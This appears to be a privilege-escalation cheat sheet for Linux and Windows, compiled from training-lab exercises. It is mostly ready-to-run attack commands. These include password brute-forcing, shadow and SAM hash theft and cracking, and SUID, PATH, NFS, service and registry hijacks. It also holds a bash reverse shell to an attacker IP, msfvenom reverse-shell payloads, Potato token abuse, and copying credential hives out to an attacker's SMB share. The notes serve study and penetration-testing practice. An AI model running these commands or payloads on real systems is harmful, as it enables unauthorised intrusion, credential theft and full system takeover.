

Privilege Escalation Cheat Sheet — Linux & Windows

The core idea (both OSes)

Every technique answers one question: "Is there something running with more privilege than me, and can I control what it depends on (a file, path, setting, credential)?"

If yes → redirect it to yourself (Family 1) or use exposed creds directly (Family 2).

Recon / enumeration first (both OSes)

Nmap

- `nmap -sL TARGETS` — list targets without scanning (careful: does reverse-DNS unless `-n`)
- `nmap -PR -sn TARGETS` — ARP scan only, no port scan
- `-PS` — TCP SYN ping
- ICMP ping types: Echo (Type 8, common, often firewalled), Timestamp (Type 13, sometimes allowed when echo isn't), Address Mask (Type 17, rare, easily blocked)
- ARP request resolves MAC address; ARP happens before ping

Password attacks

- Wordlist: `/usr/share/wordlists/rockyou.txt` (standard on Kali/AttackBox)
 - SSH: `hydra -l <user> -P <wordlist> <ip> -t 4 ssh`
 - Web POST form: `hydra -l <user> -P <wordlist> <ip> http-post-form "/login:username=^USER^&password=^PASS^:<invalid response text>"`
-

LINUX PRIVESC

1. System info (who/what am I on?)

```
hostname          # machine name
uname -a          # kernel version + architecture
cat /etc/issue     # distro version
cat /proc/version  # kernel version + compiler used
```

2. Environment & navigation

```
ls -la          # list files incl. hidden + permissions
id              # your uid/gid/groups
env             # environment variables
echo $PATH      # directories searched for commands, in order
history         # past commands
```

3. Processes & privileges

```
ps aux          # all processes
ps axjf         # process tree view
sudo -l         # what can I run as root?
```

4. Key files

- `/etc/passwd` — all user accounts, UIDs, home dirs (world-readable)
- `/etc/shadow` — actual password hashes (root-only readable)
- `/proc/` — virtual dir, live process/system info

5. Networking

```
ifconfig / ip route  # interfaces + IPs
netstat -a           # all sockets
netstat -l           # listening ports
```

6. find — searching the system

```
find . -name flag1.txt          # find by name, current dir
find / -type f -perm 0777 2>/dev/null  # world read/write/exec files
find / -perm -u=s -type f 2>/dev/null  # SUID files
find / -type f -perm -04000 -ls 2>/dev/null  # list SUID/SGID files
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u  #
writable dirs
```

`2>/dev/null` — suppress "Permission Denied" spam.

Linux technique summary table

Technique	Check	Exploit
Kernel	<code>uname -a</code> → search exploit for that exact version	compile (<code>gcc exploit.c -o exploit</code>) & run. Last resort — can crash the box
Sudo	<code>sudo -l</code>	look up allowed binary on GTFOBins → abuse (e.g. <code>sudo vim -c '!/bin/bash'</code>)
SUID	<code>find / -perm -4000 2>/dev/null</code>	look up binary on GTFOBins for SUID-abuse syntax
Capabilities	<code>getcap -r / 2>/dev/null</code>	abuse specific capability (e.g. <code>cap_setuid</code>) → <code>python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'</code>)
Cron	<code>cat /etc/crontab</code> , <code>ls -la /etc/cron.d/</code> → check write access to called script	inject payload into script, wait for schedule
PATH hijack	<code>echo \$PATH</code> + <code>find / -writable ...</code> → find a privileged process calling a command with no full path	plant a fake binary of that name earlier in PATH
NFS	<code>cat /etc/exports</code> → look for <code>no_root_squash</code> + writable share	mount from a machine where you have root, drop SUID payload, trigger from target

Password/shadow cracking

```
/usr/bin/base64 /etc/shadow | /usr/bin/base64 -d      # read shadow if perms allow
john --format=crypt --wordlist=rockyou.txt hash.txt    # crack a single hash
# OR: combine passwd+shadow, then:
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
```

`/etc/passwd` = account metadata (world-readable). `/etc/shadow` = actual hashes (root-only).

PATH hijack — worked example

```
export PATH=/home/murdoch:$PATH    # add writable dir to PATH
# if a root-owned binary (e.g. `test`) calls a command `thm` with no full
path:
echo -e '#!/bin/bash\n/bin/bash' > /home/murdoch/thm
chmod +x /home/murdoch/thm
./test                               # now runs your fake `thm` as root
```

NFS — worked example

```
cat /etc/exports                    # check for no_root_squash + rw
showmount -e <target-ip>            # list mountable shares
# On attacker machine (needs root):
mkdir /tmp/backdoor
mount -o rw <target-ip>:/home/ubuntu/shared /tmp/backdoor
```

`nfs.c`:

```
c

int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}
```

```
gcc -static nfs.c -o nfs           # -static avoids dynamic linking errors
chmod +s nfs                       # SUID bit
# On target machine, in the mounted share:
./nfs                             # root shell
```

Why it works: `no_root_squash` means root on the mounting (attacker) machine stays root on the share, instead of being demoted to `nfsnobody`.

Reverse shell one-liner

```
bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1
```

WINDOWS PRIVESC

General exploitation loop (services)

1. Confirm it runs as SYSTEM — `sc qc <service>` → check `SERVICE_START_NAME`
2. Find unexpected write access — `accesschk.exe` against config, folder, registry key, or file
3. Redirect execution to your payload
4. Listener on Kali → `net start <service>`
5. Catch shell → confirm `whoami` shows `nt authority\system`

1. DACL service — weak permission to reconfigure

```
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc      # look for
SERVICE_CHANGE_CONFIG
sc qc daclsvc                                                # confirm
SYSTEM
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""      # hijack binary
path
net start daclsvc
```

2. Unquoted service path — ambiguous path + writable folder

```
sc qc unquotedsvc      # e.g. C:\Program Files\Unquoted Path Service\Common
Files\unquotedpathservice.exe
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path
Service\"
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path
Service\Common.exe"
net start unquotedsvc
```

Why: no quotes + spaces → Windows tries `C:\Program.exe`, then `...\Unquoted.exe`, then `...\Common.exe` (yours) before the real file.

3. Registry hijack (regsvc) — writable ImagePath

```
sc qc regsvc
C:\PrivEsc\accesschk.exe /accepteula -uvwqk
HKLM\System\CurrentControlSet\Services\regsvc
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t
REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
net start regsvc
```

4. File permissions (filepermsvc) — the .exe itself is writable

```
sc qc filepermsvc
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions
Service\filepermservice.exe"
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions
Service\filepermservice.exe" /Y
net start filepermsvc
```

5. AutoRun program

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun
Program\program.exe"
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
# restart / reconnect via RDP to trigger login → fires the AutoRun
```

6. AlwaysInstallElevated

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
# both must be 1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali_ip> LPORT=53 -f msi -o
reverse.msi
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```

7. Scheduled task hijack

```
type C:\DevTools\CleanUp.ps1
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
```

```
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
# wait for the schedule to trigger
```

8. StartUp folder hijack

```
C:\PrivEsc\accesschk.exe /accepteula -d
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
cscript C:\PrivEsc\CreateShortcut.vbs      # creates .lnk pointing to
reverse.exe in Startup
# simulate an admin login (rdesktop -u admin ...) → fires on login
```

9. GUI privilege abuse (AdminPaint)

```
rdesktop -u user -p password321 MACHINE_IP
# double-click AdminPaint shortcut (elevated Paint)
tasklist /V | findstr mspaint.exe      # confirm elevated
```

In Paint: File → Open → paste `file://c:/windows/system32/cmd.exe` → Enter → spawns elevated cmd.

10. Potato-family (impersonation token theft)

Requires a shell as an account with `SeImpersonatePrivilege` + `SeAssignPrimaryTokenPrivilege` (check with `whoami /priv`).

Get a service-account shell (simulated):

```
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service"
C:\PrivEsc\reverse.exe
```

RoguePotato (abuses DCOM/OXID resolution — needs a redirector since it's network-based):

```
# On Kali:
sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999
# In the local service shell:
C:\PrivEsc\RoguePotato.exe -r <kali_ip> -e "C:\PrivEsc\reverse.exe" -l 9999
```

PrintSpoofer (abuses Print Spooler named pipes — purely local, no redirector needed):

```
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
```

Mechanism (both): trick a SYSTEM process into authenticating to something you control → capture the NTLM handshake as a token → use your impersonation privileges to spawn a process with that token → runs as SYSTEM.

Family 2: Credentials already exposed (no exploit needed)

Registry passwords (AutoLogon)

```
reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
winexe -U 'admin%password' //MACHINE_IP cmd.exe
```

Saved/cached credentials

```
cmdkey /list # if empty, run
C:\PrivEsc\savecred.bat
runas /savecred /user:admin C:\PrivEsc\reverse.exe # no password ever seen
```

SAM/SYSTEM hash dump

```
copy C:\Windows\Repair\SAM \\<kali_ip>\kali\
copy C:\Windows\Repair\SYSTEM \\<kali_ip>\kali\
# On Kali:
git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM
hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt
```

Pass-the-hash (skip cracking entirely)

```
pth-winexe -U 'admin%LMhash:NTLMhash' //MACHINE_IP cmd.exe
```

Why it works: Windows authenticates by comparing hashes, not plaintext passwords — so handing it the correct hash is just as good as the password.

Automated Windows enumeration tools

Tool	Focus
<code>winPEASany.exe</code>	broadest — services, registry, tasks, creds, AlwaysInstallElevated
<code>Seatbelt.exe</code>	security config, AV/EDR presence, patch level, autologon
<code>PowerUp.ps1</code>	PowerShell version of these checks (<code>Invoke-AllChecks</code>), some auto-exploit
<code>SharpUp.exe</code>	compiled C# port of PowerUp — avoids PowerShell logging/AMSI

Reference tools (Linux equivalents)

- `linpeas.sh`, `LinEnum.sh` — automate the enumeration checklist above
- GTFOBins** (gtfobins.github.io) — lookup for sudo/SUID binary abuse syntax
- LOLBAS** (Windows equivalent of GTFOBins) — living-off-the-land binary abuse

SMB file transfer (Windows ↔ Kali)

```
# On Kali, in the directory with your payload:
sudo smbserver.py kali .
# On Windows:
copy \\<kali_ip>\kali\reverse.exe C:\PrivEsc\reverse.exe
# Reverse direction (exfil) works the same way:
copy C:\Windows\Repair\SAM \\<kali_ip>\kali\
```

Payload generation quick reference

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali_ip> LPORT=53 -f exe -o
reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali_ip> LPORT=53 -f msi -o
reverse.msi
sudo nc -nvlp 53          # listener — port must match LPORT
```

The universal checklist (run through on any new box, either OS)

1. Who am I, what am I explicitly allowed to do? (`whoami /priv`) / (`sudo -l`)

2. Is the OS/kernel old or unpatched?
3. What runs automatically, and as whom? (services/tasks vs. cron/timers)
4. What always runs with someone else's identity baked in? (SYSTEM services vs. SUID binaries)
5. What partial/special powers exist? (impersonation privileges vs. Linux capabilities)
6. Where does the system "guess" or resolve something ambiguously? (unquoted paths vs. PATH order)
7. Are credentials sitting somewhere they shouldn't be? (registry/cache vs. config files/history)
8. Is there a trust boundary that isn't enforced? (Potato token abuse vs. NFS no_root_squash)

Family 1: something powerful trusts a file/path/setting you can touch → swap in your own payload. **Family 2:** credentials (plaintext, cached, or hashed) were left exposed → use them directly.